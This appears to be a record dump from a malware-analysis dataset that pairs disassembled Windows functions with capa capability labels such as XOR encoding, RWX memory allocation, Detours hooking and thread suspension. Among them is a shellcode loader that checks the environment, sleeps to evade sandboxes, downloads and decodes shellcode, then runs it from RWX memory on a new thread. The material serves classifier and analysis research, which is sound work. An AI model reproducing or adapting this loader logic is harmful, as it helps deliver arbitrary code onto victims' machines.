joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18004fea0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x18004ff01
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x18004fec0
mov ecx, dword [r9]
jmp 0x18004ffeb
cmp ecx, 0x4e0
jb 0x18004ffeb
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x18004ff20
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x18004ff70
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x180050030
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
add rdx, 0xffffffffffff0000
mov rdi, rcx
movzx eax, dx
mov rbx, rdx
sub rbx, rax
test rax, rax
cmove rbx, rdx
cmp rbx, rcx
jbe 0x18005010b
nop dword [rax]
cmp rbx, qword [section..data]
jb 0x18005007e
cmp rbx, qword [0x180064008]
ja 0x18005007e
sub rbx, 0x8000000
jmp 0x180050102
xorps xmm0, xmm0
lea rdx, [rsp + 0x20]
mov r8d, 0x30
mov rcx, rbx
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x18005010b
cmp dword [rsp + 0x40], 0x10000
jne 0x1800500e6
cmp qword [rsp + 0x38], 0x10000
jb 0x1800500e6
mov edx, 0x10000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
jne 0x18005010d
sub rbx, 0x10000
jmp 0x180050102
mov rcx, qword [rsp + 0x28]
add rcx, 0xffffffffffff0000
movzx eax, cx
mov rbx, rcx
sub rbx, rax
test rax, rax
cmove rbx, rcx
cmp rbx, rdi
ja 0x180050060
xor eax, eax
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x180050120
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
movzx eax, cx
mov rdi, rdx
mov rbx, rcx
test rax, rax
je 0x180050142
sub rbx, rax
add rbx, 0x10000
cmp rbx, rdi
jae 0x1800501fd
nop dword [rax + rax]
cmp rbx, qword [section..data]
jb 0x18005016e
cmp rbx, qword [0x180064008]
ja 0x18005016e
add rbx, 0x8000000
jmp 0x1800501f4
xorps xmm0, xmm0
lea rdx, [rsp + 0x20]
mov r8d, 0x30
mov rcx, rbx
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1800501fd
cmp dword [rsp + 0x40], 0x10000
mov rcx, qword [rsp + 0x38]
jne 0x1800501d9
cmp rcx, 0x10000
jb 0x1800501d9
mov edx, 0x10000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
jne 0x1800501ff
add rbx, 0x10000
jmp 0x1800501f4
mov rbx, qword [rsp + 0x20]
add rbx, rcx
movzx ecx, bx
test rcx, rcx
je 0x1800501f4
mov eax, 0x10000
sub rax, rcx
add rbx, rax
cmp rbx, rdi
jb 0x180050150
xor eax, eax
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x180050210
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
lea rdi, [rcx - 0x7ff80000]
mov rbx, rcx
cmp rcx, 0x7ff80000
ja 0x180050232
mov edi, 0x80000
mov qword [rsp + 0x38], rsi
lea rsi, [rcx + 0x7ff80000]
cmp rbx, 0xffffffff80000000
jb 0x18005024e
mov rsi, 0xfffffffffff80000
movzx eax, byte [rcx]
cmp al, 0xff
jne 0x180050265
cmp byte [rcx + 1], 0x25
jne 0x1800502a9
movsxd rcx, dword [rcx + 2]
add rcx, 6
jmp 0x180050271
cmp al, 0xe9
jne 0x1800502a9
movsxd rcx, dword [rcx + 1]
add rcx, 5
add rcx, rbx
cmp rcx, rbx
jae 0x180050294
cmp rcx, 0xffffffff80000000
jae 0x18005028b
lea rsi, [rcx + 0x7ff80000]
jmp 0x1800502a9
mov rsi, 0xfffffffffff80000
jmp 0x1800502a9
lea rdi, [rcx - 0x7ff80000]
cmp rcx, 0x7ff80000
ja 0x1800502a9
mov edi, 0x80000
mov rdx, qword [0x180065408]
mov rax, qword [0x180065400]
mov qword [rsp + 0x30], rbp
test rdx, rdx
jne 0x1800502d0
test rax, rax
je 0x1800502e7
mov rdx, rax
mov qword [0x180065408], rax
mov rcx, qword [rdx + 0x10]
test rcx, rcx
je 0x1800502e7
cmp rcx, rdi
jb 0x1800502e7
cmp rcx, rsi
jbe 0x18005043a
mov qword [0x180065408], rax
mov rdx, rax
test rax, rax
je 0x180050332
mov rcx, rax
nop dword [rax]
test rax, rax
je 0x18005031c
mov rax, qword [rcx + 0x10]
test rax, rax
je 0x18005031c
cmp rax, rdi
jb 0x18005031c
cmp rax, rsi
jbe 0x18005043a
mov rdx, qword [rdx + 8]
mov qword [0x180065408], rdx
mov rcx, rdx
mov rax, rdx
test rdx, rdx
jne 0x180050300
movzx eax, bx
sub rbx, rax
cmp rbx, 0x40000000
jbe 0x18005035c
lea rdx, [rbx - 0x40000000]
mov rcx, rdi
call fcn.180050030
mov rdx, rax
test rax, rax
jne 0x1800503e8
movabs rbp, 0xffffffff40000000
cmp rbx, rbp
jae 0x180050382
lea rcx, [rbx + 0x40000000]
mov rdx, rsi
call fcn.180050120
mov rdx, rax
test rax, rax
jne 0x1800503e8
cmp rbx, 0x40000000
jbe 0x1800503a2
lea rcx, [rbx - 0x40000000]
mov rdx, rbx
call fcn.180050120
mov rdx, rax
test rax, rax
jne 0x1800503e8
cmp rbx, rbp
jae 0x1800503be
lea rdx, [rbx + 0x40000000]
mov rcx, rbx
call fcn.180050030
mov rdx, rax
test rax, rax
jne 0x1800503e8
mov rdx, rbx
mov rcx, rdi
call fcn.180050030
mov rdx, rax
test rax, rax
jne 0x1800503e8
mov rdx, rsi
mov rcx, rbx
call fcn.180050120
mov rdx, rax
test rax, rax
je 0x180050471
mov dword [rdx], 0x52727464
lea rcx, [rdx + 0xffa8]
xor r8d, r8d
mov qword [0x180065408], rdx
mov qword [rdx + 0x10], r8
mov r9d, 0x2a7
mov rax, qword [0x180065400]
mov qword [rdx + 8], rax
lea rax, [rdx + 0xff60]
mov qword [0x180065400], rdx
mov qword [rcx], r8
lea rcx, [rcx - 0x60]
mov r8, rax
sub rax, 0x60
sub r9, 1
jne 0x180050422
mov qword [rdx + 0x10], r8
mov rax, qword [rdx + 0x10]
cmp rax, rdi
jb 0x180050471
cmp rax, rsi
ja 0x180050471
mov rcx, qword [rax + 0x48]
movdqa xmm0, xmmword [0x180054870]
mov qword [rdx + 0x10], rcx
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
jmp 0x180050473
xor eax, eax
mov rsi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1800506d0
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x50
mov rbx, rdx
mov r8d, 0x30
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
nop
mov eax, 0x5a4d
mov rcx, qword [rsp + 0x28]
cmp word [rcx], ax
je 0x1800506fe
xor al, al
jmp 0x180050740
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rdx + rcx], 0x4550
je 0x18005070f
xor al, al
jmp 0x180050740
mov r8d, dword [rdx + rcx + 0xe8]
lea rax, [r8 + rcx]
cmp rbx, rax
jb 0x180050736
mov eax, dword [rdx + rcx + 0xec]
add rax, r8
add rax, rcx
cmp rbx, rax
jae 0x180050736
mov al, 1
jmp 0x180050740
xor al, al
add rsp, 0x50
pop rbx
ret
add rsp, 0x50
pop rbx
ret
Function at 0x180050c20
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbp
push rsi
sub rsp, 0x28
mov rbp, rdx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x180065418], eax
je 0x180050c47
mov eax, 0x10dd
add rsp, 0x28
pop rsi
pop rbp
ret
mov eax, dword [0x18006541c]
test eax, eax
jne 0x180050d83
test rbp, rbp
jne 0x180050c64
lea eax, [rbp + 0x57]
add rsp, 0x28
pop rsi
pop rbp
ret
test rsi, rsi
je 0x180050c80
cmp qword [rsi], 0
jne 0x180050c8c
mov dword [0x18006541c], 6
mov qword [0x180065420], rsi
mov eax, 6
add rsp, 0x28
pop rsi
pop rbp
ret
mov qword [rsp + 0x40], rbx
mov ecx, 0x30
mov qword [rsp + 0x20], rdi
call fcn.180051c70
mov rdi, rax
test rax, rax
jne 0x180050cb0
lea ebx, [rax + 8]
jmp 0x180050d58
mov rcx, qword [rsi]
xor edx, edx
call fcn.180050b70
xor edx, edx
mov rcx, rbp
mov rbx, rax
call fcn.180050b70
movzx edx, byte [rbx + 0x3e]
mov rbp, qword [rbx + 0x48]
sub rbp, rdx
test dl, dl
je 0x180050d4a
cmp rdx, 0x1e
ja 0x180050d4a
cmp qword [rbx + 0x50], rax
jne 0x180050d4a
lea r9, [rsp + 0x50]
mov dword [rsp + 0x50], 0
mov r8d, 0x40
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180050d0c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x180050d58
mov qword [rdi + 0x20], rbx
mov rbx, qword [rsp + 0x40]
mov dword [rdi + 8], 1
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rbp
mov eax, dword [rsp + 0x50]
mov dword [rdi + 0x28], eax
mov rax, qword [0x180065430]
mov qword [rdi], rax
xor eax, eax
mov qword [0x180065430], rdi
mov rdi, qword [rsp + 0x20]
add rsp, 0x28
pop rsi
pop rbp
ret
cmp dword [0x180065410], 0
mov ebx, 9
jne 0x180050d63
mov dword [0x18006541c], ebx
test rdi, rdi
je 0x180050d70
mov edx, 0x30
mov rcx, rdi
call fcn.180051cb4
mov rdi, qword [rsp + 0x20]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov qword [0x180065420], rsi
add rsp, 0x28
pop rsi
pop rbp
ret

Function at 0x180050d90
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x28
cmp dword [0x180065418], 0
jne 0x180050e37
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, eax
xor eax, eax
lock cmpxchg dword [0x180065418], ecx
jne 0x180050e37
mov qword [rsp + 0x38], rbx
mov rbx, qword [0x180065400]
mov qword [rsp + 0x20], rdi
xor edi, edi
mov qword [0x180065430], rdi
mov qword [0x180065428], rdi
mov qword [0x180065420], rdi
test rbx, rbx
je 0x180050e20
nop word [rax + rax]
lea r9, [rsp + 0x30]
mov edx, 0x10000
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180050e18
mov rbx, qword [rbx + 8]
test rbx, rbx
jne 0x180050df0
jmp 0x180050e20
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rbx, qword [rsp + 0x38]
mov eax, edi
mov dword [0x18006541c], edi
mov rdi, qword [rsp + 0x20]
add rsp, 0x28
ret
mov eax, 0x10dd
add rsp, 0x28
ret
Function at 0x180051450
Capabilities:
Suspend thread

Disassembly:
push rdi
sub rsp, 0x20
mov eax, dword [0x18006541c]
mov rdi, rcx
test eax, eax
jne 0x1800514f3
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp rdi, rax
jne 0x18005147a
xor eax, eax
add rsp, 0x20
pop rdi
ret
mov ecx, 0x10
mov qword [rsp + 0x30], rbx
call fcn.180051c70
mov rbx, rax
test rax, rax
jne 0x180051496
lea edi, [rax + 8]
jmp 0x1800514b9
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x1800514d7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov edx, 0x10
mov rcx, rbx
call fcn.180051cb4
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov dword [0x18006541c], edi
mov qword [0x180065420], 0
add rsp, 0x20
pop rdi
ret
mov rax, qword [0x180065428]
mov qword [rbx], rax
xor eax, eax
mov qword [rbx + 8], rdi
mov qword [0x180065428], rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140001070
Capabilities:
Check os version
Parse pe header

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0xa0
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
test rax, rax
je 0x1400011f8
cmp dword [rax + 0x118], 0xa
jne 0x1400011f8
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x20]
mov eax, 0x5a4d
mov rdi, qword [rcx]
mov rcx, qword [rdi + 0x20]
cmp word [rcx], ax
jne 0x1400011f8
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400011f8
mov ebx, dword [rax + rcx + 0x88]
add rbx, rcx
je 0x1400011f8
xorps xmm0, xmm0
lea r8, [rsp + 0x20]
movups xmmword [rsp + 0x20], xmm0
xor eax, eax
mov rdx, rbx
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [r11 - 0x18], rax
movabs rax, 0xf5bd373480a6b89b
mov qword [r11 - 0x80], rax
movups xmmword [r11 - 0x28], xmm0
call fcn.1400016a0
test eax, eax
je 0x1400011f8
mov rcx, qword [rdi + 0x20]
lea r8, [rsp + 0x50]
movabs rax, 0x64dc7db288c5015f
mov rdx, rbx
mov qword [rsp + 0x58], rax
call fcn.1400016a0
test eax, eax
je 0x1400011f8
mov rcx, qword [rdi + 0x20]
lea r8, [rsp + 0x68]
movabs rax, 0x68a3c2ba486f0741
mov rdx, rbx
mov qword [rsp + 0x70], rax
call fcn.1400016a0
test eax, eax
je 0x1400011f8
mov rcx, qword [rdi + 0x20]
lea r8, [rsp + 0x38]
movabs rax, 0x858bcb1046fb6a37
mov rdx, rbx
mov qword [rsp + 0x40], rax
call fcn.1400016a0
test eax, eax
je 0x1400011f8
mov rcx, qword [rdi + 0x20]
lea r8, [rsp + 0x80]
movabs rax, 0xc6a2fa174e551bcb
mov rdx, rbx
mov qword [rsp + 0x88], rax
call fcn.1400016a0
test eax, eax
je 0x1400011f8
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
call fcn.140001210
xor eax, eax
mov rbx, qword [rsp + 0xb0]
add rsp, 0xa0
pop rdi
ret
mov rbx, qword [rsp + 0xb0]
mov eax, 1
add rsp, 0xa0
pop rdi
ret
Function at 0x140001210
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x30
lea r8, [rsp + 0x40]
call fcn.1400013a0
mov rbx, rax
test rax, rax
jne 0x140001239
lea rcx, str.Failed_to_download_shellcode._n
add rsp, 0x30
pop rbx
jmp fcn.140001010
mov r8d, dword [rsp + 0x40]
xor edx, edx
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rdi
test r8d, r8d
je 0x1400012dd
cmp r8d, 0x40
jb 0x1400012bf
movdqa xmm1, xmmword [str._t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_]
mov r9d, r8d
and r9d, 0xffffffc0
mov r10d, 0x20
nop
movdqu xmm0, xmmword [rdx + rbx]
lea eax, [r10 - 0x10]
psubb xmm0, xmm1
movdqu xmmword [rdx + rbx], xmm0
add edx, 0x40
movdqu xmm0, xmmword [rax + rbx]
psubb xmm0, xmm1
movdqu xmmword [rax + rbx], xmm0
mov eax, r10d
movdqu xmm0, xmmword [rax + rbx]
psubb xmm0, xmm1
movdqu xmmword [rax + rbx], xmm0
lea eax, [r10 + 0x10]
add r10d, 0x40
movdqu xmm0, xmmword [rax + rbx]
psubb xmm0, xmm1
movdqu xmmword [rax + rbx], xmm0
cmp edx, r9d
jb 0x140001270
cmp edx, r8d
jae 0x1400012dd
mov eax, edx
mov ecx, r8d
add rax, rbx
sub ecx, edx
mov edx, ecx
add byte [rax], 0xf7
lea rax, [rax + 1]
sub rdx, 1
jne 0x1400012d0
mov rsi, r8
mov r9d, 0x40
mov rdx, rsi
mov r8d, 0x3000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x14000130d
lea rcx, str.VirtualAlloc_failed._n
call fcn.140001010
jmp 0x14000137a
mov r8, rsi
mov rdx, rbx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
xor r9d, r9d
mov qword [rsp + 0x28], 0
mov r8, rdi
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
test rax, rax
jne 0x140001352
lea rcx, str.CreateThread_failed._n
call fcn.140001010
jmp 0x14000137a
mov edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rbx
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop rbx
jmp qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
Function at 0x140002220
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000226a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000226a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000226a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000226a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000226a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000226c
xor al, al
add rsp, 0x28
ret

Function at 0x140001000
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
lea rcx, str._JAVA_LAUNCHER_DEBUG
call qword [sym.imp.MSVCR100.dll_getenv]
test rax, rax
je 0x140001066
lea rcx, str.Windows_original_main_args:_n
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
xor ebx, ebx
cmp dword [rax], ebx
jle 0x140001066
xor edi, edi
mov rax, qword [sym.imp.MSVCR100.dll___argv]
lea rcx, str.wwwd_args__d____s_n
mov edx, ebx
mov r8, qword [rax]
mov r8, qword [r8 + rdi]
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
inc ebx
add rdi, 8
cmp ebx, dword [rax]
jl 0x140001038
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rcx, rax
call sub.jli.dll_JLI_CmdToArgs
call sub.jli.dll_JLI_GetStdArgc
movsxd rdi, eax
lea ecx, [rdi + 1]
movsxd rcx, ecx
shl rcx, 3
call sub.jli.dll_JLI_MemAlloc
mov rbx, rax
call sub.jli.dll_JLI_GetStdArgs
xor r9d, r9d
xor edx, edx
test edi, edi
jle 0x1400010b2
mov r9d, edi
mov rcx, qword [rax]
add rax, 0x10
mov qword [rbx + rdx*8], rcx
inc rdx
cmp rdx, rdi
jl 0x14000109f
mov rcx, qword [str.java]
movsxd rax, r9d
and qword [rbx + rax*8], 0
test rcx, rcx
jne 0x1400010c9
mov rcx, qword [rbx]
mov rax, qword [str.java]
test rax, rax
jne 0x1400010d8
mov rax, qword [rbx]
and dword [rsp + 0x68], 0
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 1
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
lea rax, [0x140002250]
mov r8d, 2
lea r9, str._J_ms8m
mov qword [rsp + 0x38], rax
lea rax, [0x140002240]
mov rdx, rbx
mov qword [rsp + 0x30], rax
lea rax, str._lib_tools.jar
mov ecx, edi
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r8d
call sub.jli.dll_JLI_Launch
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
Function at 0x140002110
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x50
mov rsi, rcx
cmp qword [rcx + 0x80], 0
je 0x14000213d
mov rax, qword [rsi + 0x18]
lea rcx, [rsi + 0x70]
cmp qword [rax], rcx
je 0x140002144
cmp qword [rsi + 0x68], 0
jne 0x14000216e
jmp 0x1400021f3
xor eax, eax
jmp 0x14000220d
mov ecx, dword [rsi + 0x90]
mov rdx, qword [rsi + 0x88]
mov qword [rax], rdx
mov rax, qword [rsi + 0x38]
mov qword [rax], rdx
sub ecx, edx
mov rax, qword [rsi + 0x50]
mov dword [rax], ecx
cmp qword [rsi + 0x68], 0
je 0x1400021f3
cmp byte [rsi + 0x71], 0
je 0x1400021f3
mov rax, qword [rsi]
mov rcx, rsi
mov edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1400021eb
mov rcx, qword [rsi + 0x68]
lea r9, [rsp + 0x50]
lea rdx, [rsi + 0x74]
mov rax, qword [rcx]
lea r8, [rsp + 0x28]
mov qword [rsp + 0x20], r8
lea rdi, [rsp + 0x30]
mov r8, rdi
call qword [rax + 0x40]
cmp eax, 3
je 0x1400021ef
cmp eax, 1
je 0x1400021be
test eax, eax
jne 0x1400021eb
mov byte [rsi + 0x71], 0
mov rbx, qword [rsp + 0x28]
sub rbx, rdi
je 0x1400021e5
mov r9, qword [rsi + 0x80]
mov edx, 1
mov rcx, rdi
mov r8, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbx, rax
jne 0x1400021eb
cmp byte [rsi + 0x71], 0
je 0x1400021f3
xor edi, edi
jmp 0x1400021f6
mov byte [rsi + 0x71], 0
mov rdi, rsi
mov rcx, qword [rsi + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov ecx, eax
xor eax, eax
test ecx, ecx
cmove rax, rdi
mov byte [rsi + 0x7c], 0
mov byte [rsi + 0x71], 0
lea rcx, [rsi + 8]
mov qword [rsi + 0x18], rcx
lea rcx, [rsi + 0x10]
mov qword [rsi + 0x20], rcx
lea rcx, [rsi + 0x28]
mov qword [rsi + 0x38], rcx
lea rcx, [rsi + 0x30]
mov qword [rsi + 0x40], rcx
lea rcx, [rsi + 0x48]
mov qword [rsi + 0x50], rcx
lea rcx, [rsi + 0x4c]
mov qword [rsi + 0x58], rcx
mov qword [rsi + 0x48], 0
mov qword [rsi + 0x80], 0
xorps xmm0, xmm0
movups xmmword [rsi + 8], xmm0
movups xmmword [rsi + 0x28], xmm0
mov ecx, dword [0x1401b0840]
mov dword [rsi + 0x74], ecx
mov ecx, dword [0x1401b0844]
mov dword [rsi + 0x78], ecx
mov qword [rsi + 0x68], 0
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
Function at 0x140002380
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x80
cmp edx, 0xffffffff
je 0x140002488
mov esi, edx
mov rdi, rcx
mov rax, qword [rcx + 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x1400023c9
mov rdx, qword [rdi + 0x58]
mov r8d, dword [rdx]
test r8d, r8d
jle 0x1400023c9
dec r8d
mov dword [rdx], r8d
lea rdx, [rcx + 1]
mov qword [rax], rdx
mov byte [rcx], sil
jmp 0x1400024fa
mov rdx, qword [rdi + 0x80]
test rdx, rdx
je 0x14000248c
mov rax, qword [rdi + 0x18]
lea rcx, [rdi + 0x70]
cmp qword [rax], rcx
je 0x140002493
mov rcx, qword [rdi + 0x68]
test rcx, rcx
je 0x1400024c0
mov byte [rsp + 0x4f], sil
lea rax, [rsp + 0x80]
lea r9, [rsp + 0x50]
lea rdx, [rdi + 0x74]
mov r10, qword [rcx]
lea r8, [rsp + 0x50]
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], rax
lea r14, [rsp + 0x60]
mov qword [rsp + 0x28], r14
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
lea rbx, [rsp + 0x4f]
mov r8, rbx
call qword [r10 + gethostname]
cmp eax, 2
jae 0x1400024d2
mov r15, qword [rsp + 0x50]
sub r15, r14
je 0x140002478
mov r9, qword [rdi + 0x80]
mov edx, 1
mov rcx, r14
mov r8, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov ecx, 0xffffffff
cmp r15, rax
jne 0x1400024f8
mov byte [rdi + 0x71], 1
cmp qword [rsp + 0x58], rbx
mov eax, 0xffffffff
jmp 0x1400024ec
xor esi, esi
jmp 0x1400024fa
mov esi, 0xffffffff
jmp 0x1400024fa
mov ecx, dword [rdi + 0x90]
mov r8, qword [rdi + 0x88]
mov qword [rax], r8
mov rax, qword [rdi + 0x38]
mov qword [rax], r8
sub ecx, r8d
mov rax, qword [rdi + 0x50]
mov dword [rax], ecx
mov rcx, qword [rdi + 0x68]
test rcx, rcx
jne 0x1400023f7
movsx ecx, sil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
cmp eax, 0xffffffff
cmove esi, eax
jmp 0x1400024fa
cmp eax, 3
jne 0x1400024f3
mov rdx, qword [rdi + 0x80]
movsx ecx, byte [rsp + 0x4f]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
cmp eax, 0xffffffff
cmove esi, eax
mov ecx, esi
jmp 0x1400024f8
mov ecx, 0xffffffff
mov esi, ecx
mov eax, esi
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret